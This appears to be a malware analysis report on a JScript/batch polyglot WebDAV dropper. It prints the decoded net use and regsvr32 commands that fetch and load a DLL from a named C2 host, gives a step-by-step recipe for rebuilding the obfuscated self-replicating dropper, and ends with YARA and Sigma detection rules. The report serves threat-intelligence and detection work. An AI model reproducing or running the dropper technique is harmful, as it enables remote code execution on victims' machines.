unclassified-js-webdav-dropper: 019d2f45 — JScript/batch polyglot, adbasf prefix, self-replicating WebDAV dropper

Executive Summary

JScript/batch polyglot dropper in the unclassified-js-webdav-dropper family. Shared-prefix SET obfuscation (adbasf, 62 entries), JScript self-replication to %userprofile%\hejgzq.bat, then batch-layer net use + regsvr32 /s against WebDAV C2 45.9.74.13:8888 to load payload 955.dll. No PowerShell wrapper, no wordpad decoy, no sandbox gate. Seventy-first confirmed sibling. Static-only (CAPE skipped — not a binary).

What It Is

• Filename: 1073918301984921800.js ^[triage.json]
• Size: 5,910 bytes ^[exiftool.json]
• Type: ASCII text, JScript/batch polyglot, CRLF line endings ^[file.txt]
• Family: unclassified-js-webdav-dropper — high-confidence sibling (see entity page for full cluster analysis)

How It Works

Obfuscation dialect

Shared-prefix SET variable obfuscation with prefix adbasf and 62 short-suffix assignments (e.g. adbasfhikath=o, adbasfqkfohs=s). The batch layer reassembles commands via %VAR% expansion; the JScript layer builds the same mapping in an object array and assembles strings via Function('return this')(). ^[strings.txt:1-67]

Execution chain

1. JScript entry: try{adbasf();}catch(e){...} calls this.WScript.CreateObject('WScript.Shell').run(...) ^[strings.txt:67]
2. Self-replication: Copies the script to %userprofile%\hejgzq.bat via cmd /k copy ^[strings.txt:67]
3. Batch staging: The copied .bat executes:

   net use \\45.9.74.13@8888\DavWWWRoot\
   regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\955.dll
   

   ^[strings.txt:63-64]
4. No PowerShell wrapper, no wordpad decoy, no sandbox gate.

C2 Infrastructure

• WebDAV host: 45.9.74.13:8888 (same IP as siblings da58243c, b910d575, 4fdfd354, 6f1d7c74, 365235cd) ^[strings.txt:63]
• Payload: 955.dll ^[strings.txt:64]

Decompiled Behavior

Not applicable — this is a plaintext script, not a compiled binary. Capa and floss both rejected the input (non-PE) ^[capa.txt] ^[floss.txt]. No Ghidra/radare2 analysis required.

C2 Infrastructure

Interesting Tidbits

• Polyglot design: The file opens as .js (JScript) but contains a batch /* ... */ comment block that wraps the SET assignments. When renamed to .bat, the batch interpreter ignores the /* comment start and processes the SET lines, then hits the */ and treats the JScript portion as a no-op comment. ^[strings.txt:1-66]
• Self-replication via ScriptFullName: The JScript uses this.WScript.ScriptFullName to copy its own path, making the dropper self-contained — no hardcoded staging filename in the payload logic. ^[strings.txt:67]
• Minimal footprint: 5.9 KB, no padding, no decoy, no anti-analysis — purely functional. This is the smallest polyglot sibling in the 45.9.74.13:8888 sub-cluster.
• No color f0 && start wordpad decoy seen in the pure-batch natural-language dialect siblings.

How To Mess With It (Homelab Replication)

1. Reproduce the shared-prefix SET obfuscation: pick a 6-char prefix (e.g. adbasf), assign 62 characters to short suffixes, then build net use and regsvr32 commands via %VAR% expansion.
2. Wrap the batch in a JScript /* ... */ comment to make it a polyglot.
3. Add the JScript self-replication layer using WScript.Shell.run('cmd /k copy "' + WScript.ScriptFullName + '" %userprofile%\\<name>.bat && "%userprofile%\\<name>.bat"', 0, false).
4. Stand up a local WebDAV server (wsgidav --host=0.0.0.0 --port=8888 --root=/tmp/webdav) and place a test DLL.
5. Execute the .js on a Windows VM; verify process chain in ProcMon: wscript.exe → cmd.exe → net.exe → regsvr32.exe.

Deployable Signatures

YARA rule

rule UNCLASSIFIED_JS_WEBDAV_DROPPER_POLYGLOT {
    meta:
        description = "JScript/batch polyglot WebDAV dropper — shared-prefix SET obfuscation + self-replication"
        family = "unclassified-js-webdav-dropper"
        author = "packetpursuit"
        date = "2026-07-16"
    strings:
        $polyglot_start = "/* " ascii
        $set_prefix = /set [a-z]{5,7}[a-z]{5,8}=/ ascii
        $net_use = "net use \" ascii
        $davwwwroot = "DavWWWRoot" ascii
        $regsvr32 = "regsvr32 /s" ascii
        $wscript_shell = "WScript.Shell" ascii nocase
        $scriptfullname = "ScriptFullName" ascii nocase
        $userprofile = "%userprofile%" ascii
    condition:
        $polyglot_start and $set_prefix and $davwwwroot and $regsvr32 and $wscript_shell and $scriptfullname
}

Sigma rule

title: JScript WebDAV Dropper Execution
detection:
    selection:
        CommandLine|contains|all:
            - 'net use'
            - 'DavWWWRoot'
        ParentImage|endswith:
            - '\\wscript.exe'
            - '\\cscript.exe'
    condition: selection
logsource:
    category: process_creation
    product: windows

IOC list

Behavioral fingerprint

This sample is a JScript/batch polyglot that uses shared-prefix SET variable obfuscation (adbasf prefix, 62 entries) to hide net use and regsvr32 /s commands. The JScript layer self-replicates by copying ScriptFullName to %userprofile%\hejgzq.bat before spawning the batch layer. No PowerShell wrapper, no decoy, no sandbox gate. WebDAV C2 at 45.9.74.13:8888 fetches 955.dll.

Detection Signatures

References

• Artifact ID: 5dfd0316-8124-42e9-bad2-0d527b7d8a8f
• Source: OpenCTI / MalwareBazaar
• Family entity: unclassified-js-webdav-dropper
• Technique page: webdav-regsvr32-dll-sideloading

Provenance

• file.txt — file utility (ExifTool 12.76)
• strings.txt — strings + manual line references
• triage.json — triage pipeline metadata
• capa.txt — Mandiant capa (rejected, non-PE)
• floss.txt — FireEye flare-floss (rejected, non-PE)
• dynamic-analysis.md — CAPE skipped (not a supported binary class)
• Decoded via Python script /tmp/decode_019d2f45.py (2026-07-16)